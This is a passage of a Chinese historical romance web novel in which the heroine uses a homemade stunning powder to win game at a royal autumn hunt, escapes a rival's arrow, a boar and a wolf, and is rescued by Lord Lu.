然而那双被高大府宅的惊艳的眼睛此时正悄悄地从余光里打量被抬出来的人——血水几乎浸透了草席,要不是那草席卷得实在敷衍,让人能看到女人微微起伏的胸口,他几乎要以为那人已经死了。
被搬动的动作之间,得以窥得更多的伤痕、血肉模糊的皮肉,红的紫的,甚至还有灼伤的痕迹,血水滴落在地上,惊得瘦猴忍不住倒吸一口凉气。
这......这得是犯了多大的事儿才被主子罚成这样啊!
他隐约记得,第一日来府里时,刚好撞见了这女子跟人说话,他不敢多看,只听见女子声音软软,不似京城人士。
只以为是家中贫寒,来京城谋生的苦命人。
如今……他忍不住接连唏嘘。
带他的师傅见到瘦猴的失态,赶忙在引起他人注意之前朝前走了一步,宽大的身子挡住身后不知轻重的臭小子,暗地里背手狠掐了一把徒弟的手背。
师傅的体型和瘦猴比简直是两个极端,壮实得几乎像座小山了。他在毫不费力挡住瘦猴的同时,寻了个不被人察觉的角度,用眼神狠狠警告身后不成器的臭小子。
天光还未亮,雾色深重,视线朦胧,再加之那搬送之人动作急躁,也并未注意到瘦猴师徒的动静,只不耐烦地皱着眉头,对着外面候着的马夫吩咐:“务必在天亮之前将这女人送到花姐那儿去。”
一听男人这话,瘦猴小小的眼里又是闪烁不定,咬着牙堪堪忍住快要溢出来的惊呼。他家里穷,从未有闲钱去过花街柳巷,但这并不妨碍他从一起插科打诨的发小嘴里得知花姐的名头——柳烟巷子最出名、最狠心的老鸨。
听说花姐手下死的妓子,比一般男子一辈子见过的女人还多。而且,死相无一不是惨不忍睹......
瘦猴心下震惊,却再不敢出声。待到男人完成使命脚步匆匆地从小门离开,瘦猴才敢放开了呼吸,惊疑不定地看向自己师傅。
矮胖师傅并未立刻出声,而是左顾右盼看了几眼,确定周围没有他人之后,用浑浊的眼神定定看着瘦猴,语气冷硬道:“想活命就当作无事发生,主子的事情,不该问的别问。”
瘦猴张了张嘴,思考了半晌,什么话也没再说。只抬头看了眼天色蒙蒙下笼罩的翰林府,竟觉得这初到时气派华丽的府邸,怎得愈发看着像个阴森的牢笼。
深秋风寒,瘦猴努力将脖子往袖中缩了缩,似是想借此躲避后颈泛起的颤栗。
-
回府的这两日,阮绮华的心中也在不断揣测。
柳氏、季氏,甚至是态度模糊的帝王。帝王的怒气在明,权臣的计谋在暗。她不得不一步步捋清头绪。
柳如霜对她的热络,大抵是有多种目的。但可以确认的是,绝不像表面上那样友好。所谓姐妹情深,不过是纸扎的花束。
不堪信任。
至于季赫楚……这个人有些奇怪。
按理说,此人同她无冤无仇,面上也是一派和善贵气。甚至生辰宴那日,似乎还伸手拉了她一把,让她免遭伤害。
可是不知为何,阮绮华总觉得此人面上的笑容有些违和。让人心生异样。
阮绮华秀眉拧起,心中纠结,手上抚摸福宝的力度也不自觉大了些。稍不注意,怀中的小家伙吃了痛。咪咪叫了两声,这就要挣脱下地。
她赶忙将小家伙放开。
一个跃起,踩在桌案上未干的墨汁上,方才还洁白的宣纸上即刻出现了朵朵梅花。
福宝这两日懒散了些,被春桃投喂得也多。不过数日,身子圆润了一圈。阮绮华从方才的思虑中脱离,视线跟着小家伙游走,禁不住发笑。
春桃端着茶水进屋,边放东西边说道。“小姐,您那日说,要让库房找找老爷收的那几株百年老姜。荣伯给消息了。”
“嗯,找到了吗?”阮绮华懒懒地抬头。秀气的脖颈仰起舒展,都说宠随正主,她的样子同福宝也是愈发相似了。
这几日操心、想事情太多,属实有些耗神。
春桃顺势给她按按头顶的穴位,接着道。“小姐,荣伯说,东西太多,搬来京城时,似乎是忘了带上。”
这倒也是,阮氏库房东西众多,其中不乏奇珍异宝,百年老姜说是珍贵,但并不算是有价无市。
也罢,找个机会上街寻几株来便是。
她在脑中缓缓想着对策,人却忍不住放松了。闭目仰头靠在椅背上,身子随着春桃的动作微微起伏。
正午的阳光正好,微风吹拂在少女的面上,愈发显得岁月静好。
银钱才是好东西,她陷入昏睡前最后一个念头悄悄划过。
所以当春桃急急走进院落跟她汇报时,她属实有些震惊。“什么叫做,现如今整个京城的老姜都没有了?”
“是的小姐,我昨日去东西街头的药铺都问了,担心有遗漏还托店长帮我四处打听了一番。说是前阵子宫里的御医指明要它,各家药商不敢不从,纷纷将它卖进了宫里。”
“所以加银子也买不到了?”
“照如今的情况来看,恐怕……确实是这样。”春桃有些难为情。
她听到的时候也是很震惊,这也不是个什么稀罕物,为何宫里的大人物指明收这个药材呢?
直到她跑了第三家药铺,那家老板嘴碎,才说漏了猜想。好像是陛下很珍视的人受了风寒,御医说百年老姜熬制成水可解,这才高价收购。
陛下珍视,又体弱到天气稍冷便受凉的人,除了宫里的娇滴滴的妃子还能有谁?依他所见,多半就是近期颇受宠爱的容妃了。
“日夜同陛下贴身相处,那确实怠慢不得啊。”
小老板挤眉弄眼地对着春桃,刻意压低的语气中有掩饰不住的揶揄。
“所以若要找块老姜,还得千方百计进宫求赏?”
阮绮华有些不可置信,她早知大雍的国库空虚,陛下缺钱。竟不知连块姜都要出来扫荡。
一国之君求药,需要临时收购;小小户部尚书,疑似用上国库里的珍宝。原本以为是国库本就空虚,现在看来……
她抿抿唇,狭长的美目中染上忧虑。
送姜是心意,也是给大人的谢礼。若是从江南老家送来,即便快马加鞭,也得数日。时间耽误了不说,大张旗鼓地弄来,说不定还会被一旨口谕送入宫。
眼下便只有两条路可走,要么,是从对她全无好
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感的宫里那位手上抢;要么,便是自己这位新晋官家小姐上山亲自动手挖。
……真是哪一条都不似好走的路。她不禁以手扶额,无奈地摇头。
默默叹息,入京受罪来了。
窗外树影沙沙,几缕日光晒在桌上,福宝懒懒地翻了个身。
他倒是很惬意。
春桃试探性地开了口。“小姐,奴婢问药时,意外撞见了一家铺子的老板正在训斥伙计,似乎是在说有关皇室围猎的事情。”
“围猎?”
“是的小姐。奴婢听闻,每年秋闱前夕,宫里会收购大量的药材。围猎出彩的人,还可在御前求赏。”
老姜不是什么稀罕药材,只是特殊时期铺子里短缺,若真要求赏,想必皇帝再抠,也不会克扣这点要求。
索性秋闱就在后日,试上一试也无妨。
这般想着,阮绮华心中有了打算。
吩咐春桃将她床头的珍珠纹小匣子取来,她则抱起福宝,轻声哄道,“福宝乖,这两日先回大人府上呆着,等过几日再接你回来。”
说来颇为有趣,那日在大理寺,她同陆大人聊的约莫半个时辰里,这小家伙竟一动不动地在扶手上歪头听了一个时辰。她起身告别的时候,福宝一个轻盈跃起,便跳入了她的怀里。
都没给陆大人挽留的机会,只余下一个傲娇的小猫屁股。
果不其然,听到要回陆府,福宝扭扭身子,将肚皮的嫩肉露出,一个劲朝她撒娇。可惜阮大小姐眼下是铁了心,“这可不是闹着玩的,今日不能听你的了。”
狸奴好动,她要配置的药粉性烈,加之自己擅毒不擅医,唯恐福宝不慎吸入。还是送到陆大人府上两日。
阮绮华接过小匣子,里面满满登登装着给福宝的小玩具小衣服,天冷,阿娘还给他绣了两身小披风,都得带上。
春桃担心外头冷,给阮绮华也披上了一层斗篷。少女就这么披着斗篷抱着福宝,拖家带口走到了陆大人府上。
“吱呀——”
“阮姑娘,您怎么来了?可是找我家大人?”
出来应门的是一位面生的圆脸少年,分明是第一次见,对阮绮华却出奇的热情。
不愧是京城里一等一的清贵人家,随意一位家仆都对京官家眷如数家珍。
陆大人治下有方,她也就不担心了。
圆脸少年从她手中接过福宝和匣子,颇为兴奋地朝她道。“真的不必向大人通传一下吗?大人恰巧在府上,听闻阮姑娘拜访,想必很快便能出来。”
阮绮华不知这少年为何如此热情,但此刻她急于买药材,方才拉扯已经耗了不少时间。此时便也不做多想。挥手便同春桃离开。
后日便是秋闱,今日还得早些购齐配药的必需品才是。
还好常见的药材还算凑得大差不差,实在缺少的,她也寻了药效相近的种类替代。
抓药、晾晒、磨碎风干,秋闱前日,阮氏主仆在院里足足忙碌了一整夜。直至破晓时分,才堪堪准备好了所需。
不过,一日的时间确实太过紧了些,药材过于普通,效果也难免有瑕疵。她默默估计着手中毒粉,约莫能轻松对付些野兔野鸡,若是对上野猪之类大型猛兽,恐怕还得尽力周旋。
天光大亮,阮绮华紧赶慢赶,从阿爹惊诧的目光中踏出院门,总算是赶上了前往秋闱现场的马车。
9. 秋闱
马车摇晃,云锦梭织的帘子在行进间轻轻扬起,漏出一丝外面的风光。
树木愈发密集,已经临近皇室猎场。
阮氏父女在狭小的空间里沉默对坐,少女飞快抬眸,瞄了一眼中年男人的面色,复又低下头。
阿爹很少有这般沉默的时候,自她匆匆上车,对方便一言不发,只嘴角带着笑意。
她参与秋闱且意图求赏的计划尚且未曾告诉爹娘,害怕让阿娘担心,她在纠结是否要说。
一番话到了舌尖又咽下,还是阮父先开了口。
“此番秋闱,若华儿有意,可尝试着参与一番。”
“听说本次参与的世家小姐和儿郎不少,陛下大悦,宣告御前求赏的名额由往年的三人上升至五人。”
阮富明手上沏茶的动作未停,挽袖,斟茶,动作如行云流水般悠然自得。
阮绮华听着心惊,这番话针对意味太强。莫不是阿爹已经知晓了她的目的?可她见阿爹的神情动作,又与寻常无二致,分毫没有对她的小动作置评。
她有些拿不准父亲的意思。自从接到入京的旨意,爹娘便耳提面命让她不要过于冒尖,木秀于林,风必摧之。上次宫宴之事本就是她贸然,阿爹阿娘关她几日,一方面是想要她反省,另一面也是想要保护她。
这两日赶制药粉,操劳过度,她已有些头晕,如今从阿爹的语气来看,应他对自己这两日在院中的行为怕是了若指掌,但是听这意思,当是未曾告诉阮母。
话里话外,是在支持她。
毕竟,阮氏若能抱上陆大人的大腿,于他们而言,有利无害。只是……
阮绮华敛下神色,深深瞥了阮父一眼,然后保持端坐,双手垂于身前乖巧应和。
缕缕寒风从窗缝挤进,她今日出门匆忙,未着披风。
顺着窗向外望一眼,山顶遒劲的枝丫上已经挂上了霜。
霜寒露重,秋闱从开始到结束共计四个时辰,今日的条件怕是有些恶劣的。
到达场地时,阮父同她一起下马,然后从她身边错身走过,进入观赏席位。擦肩而过的瞬间,她听见耳边飘过若有似无的声音,“无论如何,保护好自己。”
手中被塞入一物,人多眼杂,阮绮华悄悄将它握于手心。她心知,今日前来的目的不是出风头,在方才阿爹透露名额消息时,她便已做好了打算。
场地很大,世家贵女和儿郎们三三两两的站在左侧。
大雍重文轻武,这里站着的少男少女多数不是为了求赏而来,只将它视作一次普通的皇家举办的活动。
于是这其中便只有少数人真正穿了便于行动的装扮。更多的还是画着精致妆容,穿着繁复罗衣的小姐们。
阮绮华是一个例外,她一身简装短打,悄悄藏匿在众人的队伍最后。
忽然人群中有一阵骚动,众人纷纷探头向某处望。华贵雍容,旌旗飘动,侧面褚色的车帘上是金线绣着的“柳”字。
是柳府的马车到了。
车轮到达场地,缓缓停下。从车里伸出一只细白的手,轻轻将马车的门帘掀起,露出一张精致的面庞来。那少女好似在极力控制,可面上却仍透出不虞来。
一张绣帕捏了又捏,嫌恶似的扔在了地上。
周围开始又小声嘟囔的声音,窸窸窣窣,难以断绝。她前方站着两位少女,不知是哪位京官家的小姐,互相对视着,挤眉弄眼,时不时低声说着什么。
阮绮华自觉这几日未曾与柳氏有过交集,眼下便也不甚在意对方又发的什么疯,自顾自低头检查自己的包裹,查看有无纰漏。
不经意抬头间,她发现周围的人面色有些古怪,方才互相讨论的两位少女齐齐扭头看了她一眼,然后又飞快转过去。
她轻轻皱起眉头,只见鹅黄衣裙的少女攀附住身旁蓝衣女子的手臂,压低声音道。
“你见到柳如霜那张脸的表情没?”
“哪能看不到,跟吃了苍蝇似的。”
“听说是陆大人那边出事了。”
陆临渊出事了?听到陆大人的名字,阮绮华不由得敛起精神。明明清晨送福宝过去时,陆大人门口的小厮还说他正在家中休息呢,怎么会?
“何来此说??”
“可不是呢,今日早朝都没上完,陆大人神色便不对了,匆匆家中赶。听闻是外面的女子抱着孩子上门了呢!”
“据说那女子同门口的小厮拉扯许久,大约是死皮赖脸想等陆大人出来。可陆大人日理万机,哪有时间见她,最后女子只能把孩子往门口小厮手中一塞,裹着斗篷消失在日光里。”
……
阮绮华手中的锦囊险些掉落在地,这都是,什么?
简直一派胡言!
但是八卦的群众总归是不会放过她的,蓝衣女子又是一次反头看她,面上微妙。
“阮氏女郎同柳家二小姐争风吃醋,闹的整个京城人尽皆知,眼下好了,陆大人在外头养的野女人都跑上门来要名分了。”
“真是知人知面不知心,陆大人面上标榜洁身自好,朝中那么多家的女郎芳心暗许,他都视若无睹。如今看来,只是爱好不一样罢了。”
儿女对视一眼,笑容里藏不住的揶揄。一副看好戏的模样。
站在正后方的阮绮华将二人的话一字不漏的听入耳中,她想上前解释,又不知从何说起。总不能冲上去说,你们都说错了,这是谣言,那哪里是孩子,分明就是我的福宝。
我们只是一起抚养福宝罢了。
阮大小姐第一次体会到什么叫有苦难辨。她心中打结,只能不断劝慰自己,这只是一时的罢了,过几日陆大人澄清一下,很快便过去了。
但周围人同情的目光属实是让人难以忽略。她只能尽可能地将自己隐藏在角落,暗自憋屈。
忍住,只要取得今日的药,报了陆大人的宫宴相救之恩,今日的目的便算是完成了。
景仁帝的步辇入场,司礼太监宣告秋闱开始。
衣裙繁复,佩环叮当的少爷小姐们一入林子便熄了火。精美的华服被树枝勾住,行动间,头上的朱钗也不住下落。
林间的地势复杂度远超想象,不止是处处遒劲的枝丫,还有不少附近猎户留下的捕兽夹与陷阱。
才进山林不过百米,参与的人数便减了半。未做准备的女郎们几乎都被丢在了身后,只剩下少数身着华服喘着粗气的儿郎还在苦苦支撑。
好在阮绮华早有预料。她将衣袖又勒紧了些,鞋袜处的接口绑的严严实实,头也不回向前继续走。
行至半路,公子们的华服已然被挂成褴褛的模样,连续的陷阱躲避,也让他们没了耐心。
阮绮华周边的埋怨声渐渐加大,不断有人停下。
她用余光扫视一眼,周边已经只有数位同样身着劲装的男女。不少
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人还背着带着家族标志的精美猎具。
她心中明了,余下的,便是真切冲着赏赐来的了。
不过,让她未曾料到的是,她竟然在这些人中,看到了一个熟悉的面孔——
一身褚色箭袖劲装,头戴同色抹额的少女,背后还背着精致小巧的袖筒和定制尺寸的弓箭。不是柳如霜又是谁?
她看到柳如霜的同时,对方也看到了她。
对方似乎也很惊讶她还能坚持走到这一步,那张从开始便不虞的脸,此刻远远冲她挑起一个笑容。
同时高高扬起手上的弓箭,似乎在向她宣告自己的实力。
眼见着柳如霜朝她的方向靠近,阮绮华心思一动。脚下一滑,没注意到路旁的树根,直直摔倒在地上。
霜打过的地面就是很容易让人跌倒。这一下摔得结实,阮绮华的半边身子扎扎实实贴到了地面上,连带着身上衣物都沾染了尘土。
她吃痛,被摔狠了,发出痛呼声,面上带着苦意看着伤处。
柳如霜的脚步缓了下来,看着她弄脏的衣服与空无一物的手臂,面上露出势在必得的笑容。
他们已经行至半山了,再往上,便有了薄薄的雪。
野兔爱在上方坐窝,一旦找到一窝小兔,十几只战利品足以让她在这场围猎中脱颖而出。
连行走都不便的人,该要如何继续上山呢?
连弓箭都未曾准备的人,又要如何获得战利品呢?
周围的人散开了来,柳如霜也不再伪装,反手掏出弓箭,面上一派不怀好意的微笑,然后是惊人的破空声——
“啪!”
“柳姑娘!”
方才进入树林的人竟又折返了回来,不知情地呼唤柳如霜。
弓箭堪堪擦过阮绮华身侧。力道之大,让箭头都深深插入地面三寸。
凛冽的杀气随箭矢消散,阮绮华将蓄势待发的手悄悄放开来。
方才的一个眼神,她便意识到来者不善,对方想在这无人看管的角落将她除掉。
那么她又为何不能将此伪装成意外回击呢?
啧,有点可惜了。
这厢阮绮华心中暗暗可惜,站着的柳如霜的脸上却也有遗憾,她对着同伴无辜地笑笑,“马上来了。”
再次看向阮绮华时,柳如霜的脸上满是轻蔑,状似惊讶地开口道。“哎呀,方才有一只野鸡过去了。阮妹妹怎的如此不小心,时辰不早了,我也该继续上山了,至于妹妹你,就在此等候吧。”
“听闻此次有额外人士参与,猎杀氛围更浓,妹妹你可要当心,不要被人当场野兽误捕了。”
阮绮华但笑不语,她会好好注意的。
你也是。
待到柳如霜完全消失在视线中,她麻利地站起身。
朝树林深处,相反的方向前去。
一边走,一边手上动作不停。女子解下腰间锦囊,细细拆开来,里面是一块一块指甲盖大小的纸包。
四方的纸鼓鼓囊囊被撑起,内里的粉末被包的严严实实。
她小心拆开,沿路洒下,行至一处水边,用药粉在岸上画出一道弧线。然后径直坐了下来。
若是有旁人在场,定会疑惑她不去打猎,是在做些什么?
但答案很快便揭晓。
方才寂静的山林,好像有什么东西成群结队地靠近了。树影摇晃,发出窸窸窣窣的声音。
10. 怒意汹汹
阮绮华坐在阴凉的大石头上,双手抱胸,两只绣鞋轻快地晃荡。
她在好整以暇地等猎物自己进来。
又是一阵草丛被拨开的声音。
有东西来了。
最先出现的是一只白胖的小兽。摇摇晃晃,肚子肥肥,短而小的三角鼻顺着药粉左右嗅闻。
它有些迷迷瞪瞪,爪子试探性地向前挪动着,似乎有些疑惑,但还是禁不起诱惑。
紧随其后的是灰白相间的一只,这只倒是没有疑惑,深信不疑地跟着领头的小兽,头也不抬就排队走。
是野兔,一窝野兔。
她饶有趣味地盯着一圈兔子排着队,沿着方才布好的诱捕粉前行,最后落入画好的弧线一侧晕倒,一只只排着队晕倒,画面有些滑稽。
中间偶尔有几只清醒的,大概是吸入了弧线上的药粉,觉察不对劲,想要逃出,阮绮华轻飘飘一个石子丢过去,叛逃者就歇了菜。
一个时辰过去,几只野鸡挂着五彩尾羽冲进弧线,这次快了些,不用阮绮华哄着,就一批一批自动倒下。
阮绮华看久了,也觉得有些疲累。估摸着时间差不多,挑挑拣拣将晕了的小兽扔进背篓里。
然后快速将溪边水洒落在地面,消除余粉的痕迹。
春桃帮她打听过历年围猎的情况,十五个左右便能稳当卡在前三位之列。而她只需要前五。
她随意瞥了眼地上的背篓,那里面满满当当装着晕做一团的小兽,背篓旁边的地面上,还散落着几只格外胖的。
数量上倒是绰绰有余了,但是……
该怎么弄回去呢?
阮绮华的长指伸出,懒懒地敲了敲石面,眉毛轻轻皱起。历年围猎的头名都是男子,搬东西不在话下,可她不一样。
阮大小姐出门从来都是前呼后拥的,何时自己背过这样多的东西。
今日不同往日啊!
她叹息。
“救命——”
林子里传来呼救的声音。是个年轻的男声,声音中夹杂着痛楚,大约是受了伤。
实在有些模糊,阮绮华立在原处屏息听了半晌,声音忽大忽小。
隐隐约约有点耳熟。
她站立在原处,思索半晌。她在京城没什么熟人,为数不多的几个相熟,还都是有过节的。
现今自己手上还拖着东西,带个伤患怕是更不好前行。
再者,她抬头看天色。日头已过半,山上的那批人马马上要下来,人数众多,救援不是问题。
她不能当这个出头的救世主。快快带着这些战利品下山讨赏才好。
这样想着,她头也不回拖着背篓,抬步便要向呼救声的反向走。
麻绳粗粝,猎物沉重。阮绮华咬着牙,绷着力气拖了数米,忍不住呼吸微微急促起来。
大雍确实贫穷,一块姜都来之不易。
腹诽之际,面前的空气突然了急促起来,有什么不安的氛围蔓延开。正前方的草丛传来一阵冲撞声,不远处的地面在震,树木抖动起来。
她敏锐地抬起头,是什么庞大的巨物在急速靠近她?!
来不及多想,阮绮华将抓住背篓的麻绳一松。
关键时刻,拖着这个就是累赘。
那东西越来越近了,有咆哮的声音传来——
不好!是野猪!
这动静俨然出自一头成年的野猪,起码二三百公斤。
越沉重的猎物需要的药粉越多,她心神一凛,在脑中快速清算起自己剩余的药粉。
时间紧迫,她拢共才带了四包出来,方才诱捕和迷晕总共花去两包半。
如今满打满算剩不到两包,要如何对付一个这样大家伙?
硬来是万万不行了。
她咬咬牙,扭头向来时的方向冲去。
步履飞快的同时,脑中快速思索着对策。
眼下的情况,多一个人是多一分胜算。可方才呼救的那人还不知伤情如何,若是手无缚鸡之力的伤患。
那无异于雪上加霜。
她眉头紧蹙,脚下却不停,反复盘算各个对策的利弊。
反头回望一眼,野猪双目赤红,声音嘶哑,怕是是被哪个不知好歹的激怒了。
四肢横冲直撞间,竟眼看着就要追上她。
不能再犹豫了。她这样告诉自己。
呼啸而过的风吹到阮绮华脸上,薄薄的衣衫扛不住山林中夜间的寒冷。但她已然不在乎这些细枝末节。
一个错步急转,闪身出现在呼救者面前。
杂草丛生的树林,不时有虫鸣,也本该有小兽在蹦跳。
诡异的是,这片地方不仅没有活蹦乱跳的动物,光影明暗间,树干上却倒吊着一个年轻男子。
衣襟上祥云的刺绣与精致的家族标志已经脏污得看不清样子,衣摆还顽强地飘扬着。
背上精致的箭筒也染了血污,面上更是因为长时间的倒吊失去血色,眼眸已经几乎闭上了。
这是?
阮绮华忍不住升起担忧,若此人无法成为帮助。
这人衣着华贵,面容俊美,腰间的淡紫色玉佩与腰带的颜色显示了他的官级,恐怕是个手无缚鸡之力的新晋文官。
等等,既然身为朝臣的这人在此,那么……
她环顾四周,没有发现那道清贵的身影。
还好,大人身子尚未好全,还是不适合在这样危险的地方出现。
方才她一个闪身,让野猪走岔路追丢了人,现在恐怕是已经意识到不对了。
时间紧迫,不容她再考虑了。
她快速将药粉洒在不远处的树根上,然后大致扫了眼倒吊的人,万幸,这人虽狼狈了些,也没受什么体外伤,面色苍白眼睛睁不开,只是踩到陷阱被吊起,暂且有些气血上涌导致的头晕罢了。
阮绮华果断将地面上一块锋利的石块扔向上方,反复借力几次后。
“砰——”
男人坠地的同时,野猪也在尘土飞扬中显现了行踪。
阮绮华丝毫不给男子缓冲的余地,反手便是一撒,当机立断。“拿弓射箭!”
男子的脸上瞬间清醒,方才的一摔让他身心剧痛,眼下疾驰的野猪朝着他的脸冲上来,更是让他汗毛直立。
慌乱中,他手忙脚乱地掏出弓箭,对着奔驰的巨物一箭破空——
“吼!”
尖锐的声音响彻山林,这一箭非但没有击中野猪,反而结结实实激怒了它。
数百斤的褐色巨物发出巨大的嘶吼,背上的粗糙的刚毛根根直竖。它已经不管不顾地要朝男子的方向冲来。
阮绮华隐匿在暗处,看着二人的争
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斗。
男子调整站位,又是一箭射出。
可惜手仍旧有些抖,这次刺中了野猪的右侧前蹄。
庞大的兽身上,伤口微不足道。却引得野猪随着男人的方向移动。
追赶中,男子在地上扑打数次,脸上、身上已经狼狈不堪,但每每快要被追上时,野猪却好像被迷了眼似的,同他擦肩而过。
他的步伐愈发慢下来了。
是时候了,阮绮华地闯入二人对峙的现场。
野猪被她吸引住,愣愣地拐了个弯。
——“砰”
男子只见庞大的巨物突然缓了下来,他心中大喜,抬起弓箭瞄准它的身体,三箭齐发!
雪白的尾羽没入其中。
巨物发出最后的悲鸣。
尘土飞扬,野猪轰然倒塌。
半晌,阮绮华仍保持着方才的姿势,绷着精神,站立着不动。生怕这骇人的野兽反扑。
直至确认野猪完全死亡,阮绮华才松下气,瞬间脱力,不住地喘气跌坐在地。
另一边的男子则是早早地瘫软在了地上,他心中冰凉,不敢想方才要是未曾被解救下来,现在当是何等光景。
他用惊异的眼神望着身旁的女子,他并没有忘记,方才紧急时刻,是表面柔弱的这女子救了他一命。
“你……你要何奖赏?”
“……”阮绮华有些无奈,这人倒是自信,主动要给阮氏大小姐打赏。
她本不愿理会他,只想顾着今日的奖赏。
可低头一看,自己的双手确实已经在微微颤抖,方才强迫自己清醒,用指甲压迫掌心,已经渗出了血丝。
如今汗液与麻绳磨砺后留下的伤口、指甲嵌入的伤□□杂在一起,一阵一阵地刺痛。
美目流转,她眸光一闪。
阮绮华要改变主意了。
伸出手指,示意不远处的空地上的背篓。
满满登登的猎物尚未带走,眼下刚好也是来了个劳动力。
感觉到男子惊异不定的眼神在打量她,阮绮华看向地上的男子,“若大人无事,烦请搭把手。”
“大胆!你竟敢让……让我来替你当提货小厮?”
“有何不敢?”
天色逐渐暗沉下来,阮绮华语气中添上了紧迫。
风声尖利,如此大的兽类会引来山林里更多凶猛野兽的觊觎。
此地不宜久留。
何况,再不下山,时间怕是赶不上了。
她掐算着柳如霜一行人的脚程,远处上山的队伍不知为何迟迟未出现。
“天色不早,山林中危机四伏,我一人拖着背篓下山属实有些吃力,烦请大人搭把手。”
阮绮华福身行了一礼,她的手已然抬不起来。她清楚地知道,想要完成任务,此时只能求助于面前的人。
“……看在你方才救了我的份上。”
男子纠结半天,最后只能不情不愿背起了背篓跟在阮绮华身后。
走在前面的阮绮华顾不上再理会他的嘀嘀咕咕,只闷头前行,暗暗思索。
方才的野猪目色赤红,一出现便是怒气汹汹。
彼时想要取得围猎成绩的人大多跟着柳如霜向山上走了,她细细观察过,她周围并无他人。
那么好端端的,是谁让野猪发了疯?
11. 您真是机智又英明
日落西山,山林中变得安静许多。脚步声被数倍地放大。
昏暗的光线让杂草丛生的小径更加难以行走。更不用说,还有分散在各个隐蔽之处的捕猎陷阱需要躲避。
下山的路程已经过半了。
“喀嚓”
有枯枝被踩断的声音。
匆忙赶路的二人停了下来,对视一眼。面上皆是化不开的凝重。
为了快速下山,他们选择了距离最短也是最险峻的一条路。
不会有其他参与者走这里的。
阮绮华反应快速地看了一眼男子的箭筒。
精致的箭筒内,此时已经空无一物。方才与野猪的周旋已经废掉了所有箭矢。
她也很清楚,自己的身上也不再剩有药粉。
二人交换过眼神,不由地自主屏住呼吸。双目紧盯着前方。
暮色下,前方的草丛轻轻摇晃。
金黄的圆瞳在昏暗的树林中点亮,是野兽瞳孔特有的冰冷。
这头猛兽似乎不甚着急享用美食,迈着缓慢地步伐走近,尾部随动作轻轻晃动,动作几乎可以称得上是优雅。
阮绮华倚着树干,发丝凌乱了,面色苍白如纸,上面写满疲倦。
狼的身影已经离她很近了。七步,五步,三步。
身体的疲倦和精神上的疲倦已经到达顶峰了,她几乎听得到凶兽喉咙中传出的低低吞咽声和鼻尖耸动后嗅闻的声音。
夜色降临。
阮绮华闭上了双眼。
她知求药之路波折,可不曾料到,竟成了她的索命之路。
“咻——”
利刃破空,有箭矢破开层层皮肉的声音。
有温热的血溅到了她的衣裙上,甚至脸上。
腥臭的味道覆盖了她的口鼻,阮绮华的双腿支撑不住,险些跌坐在地。
方才骇人的野兽竟是被来人从背后一箭穿心,高昂的兽首还保持着准备扑食的姿势,此刻在地上抽搐两下,很快不动了。
她从脏污中抬起眼,模糊的视线里,一道身影出现,身旁跟着什么人,焦急地向她跑过来。
是陆大人。身后跟着的是举着火把的李副使。
“姑娘可有受伤?”急切的声音从她耳边传来。
少女的脸上满是血迹,发丝凌乱,身上的衣衫也早就划破了口子,阮绮华知道,自己此刻的模样必定是很狼狈。
心下莫名生出几分懊恼,她拒绝了男人的搀扶。
一边靠着树干借力起身,一边朝着对方摆摆手,表示她无事,只是方才疲累了些。
堂堂阮氏千金当然不会承认自己方才疲累交加,命悬一刻,被吓得软了腿。
余光感知到对面的男人正在盯着她的脸,面色紧绷。
不知为何,阮绮华觉得这张脸上写着的不仅有紧张,居然还有委屈。
她一定是累得眼花了。不然怎么会又联想到了委屈的小狗。
身上的疲累她尚且可以坚持,可脸上的黏腻和腥臭让她实在受不住,她在原地恢复了些气力,朝陆临渊开口道。
“多谢陆大人方才相救,救命之恩,待归府后绮华必定登门拜谢。只是眼下我的情况,确实颇为狼狈,有碍观瞻,请问陆大人可有锦帕之类的物品?”
男人不知为何顿了顿,阮绮华以为对方不愿意,刚准备开口,一方锦帕递到了她的面前。
贴身放着的锦帕染上了主人的体温,还有淡淡的檀香。
她慢条斯理地擦拭着脸上的脏污与血迹。
应当是洗过许多次了,这锦帕有些旧,有浆洗多次后特有的柔软。
体力恢复了些,她突然意识到一件事。
她辛辛苦苦哄来的一筐子猎物呢?
阮绮华急急扭头,方才帮她拖着背篓的文臣已经不知去向。情况紧急,她实在是无暇他顾,竟完全没意识到对方是何时溜走的。
她的战利品不会被偷走了吧?
对方也是围猎的参与人,这下岂不是为他人做了嫁衣?
阮绮华的目光四处搜寻,意识到自己今日上山努力的成果竟真被人浑水摸鱼。她险些气的柳眉倒竖,身上散发的不满有如实质。
离她最近的陆临渊察觉到她的情绪,不明所以。
“姑娘这是……?”
“我辛苦得来的猎物似乎被人偷走了。”说着,她忍不住咬牙切齿。
她方才只是毒晕了那些小兽,药效有限,再过几个时辰,小兽怕是都醒来跑了。
天色已经完全黑了下来,她再去找回来,怕也是只能找回来一个空空的背篓。
越想越气,她的面上已经染上了薄红。
陆临渊没有说话,似乎在思索什么,旁边的副使李一彦犹豫片刻,对阮绮华开了口。
“姑娘,下官听闻,秋闱中的猎物多为小型野兽,近几年似乎都没有狼族作为猎物的,若是带它回去,取得前列当是不成问题。”
“只不过……”李一彦有些为难地看着她,“只不过眼下只猎到一头,若要取得头名,兴许”“不必!”
阮绮华眼眸明亮,“如此甚好,无需获得头名!”
“您真是机智英明!”
李一彦被夸的有些不好意思,面色微红地提起地上的狼尸,在阮绮华一连串的感谢与夸赞中,嘴角不自觉地带上了笑。
转身的瞬间,他突然感到周身突然降了温。
嘶,他似乎忘却了什么事,他偷偷瞥向旁边的大人。
陆临渊面上浅浅挂着笑,语气淡淡,“夜路难行,若姑娘休整得差不多,我们应当即刻返程。”
说罢,看了眼活动如常的阮绮华,转身便走在了前头。
阮绮华不明所以,只觉得夜色下的山林瞬间凉下来许多,默默将外衫拢紧了些。
夜路果真难行了许多,路面上时不时有跳出来的小物。但好在有陆临渊在前开路,她跟随其后,竟是如履平地。
阮绮华心中松快,望着身前的背影,忍不住跟身旁的李一彦搭话,“你家大人身子不爽,为何今日你二人会出现于此地?”
她在的位置是山体险峻一侧,山坡陡峭,周边树木纷乱错杂,她其实更想问,对方是如何找到她的,但话到嘴边还是改了口,万一是为了援救他人,恰好碰到了她,岂不是自作多情。
何况,阿爹暗示过,陆临渊年纪轻轻,手握重权,阮氏的财富受众多人暗中觊觎,她不应对任何人掉以轻心。
李一彦的面色忽然变得古怪起来,对着她欲言又止数次。只模模糊糊道,“有位朝廷重臣私自闯入秋
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闱界地,此番同大人上山,本是代表大理寺来寻他的。”
“倒是您。”李一彦疑惑地问道,“每年的秋闱本是定好了名册的,属下前几日恰好看到今年的报名人员名册,似乎没有您的名字,为何您会出现在此?”还如此狼狈。
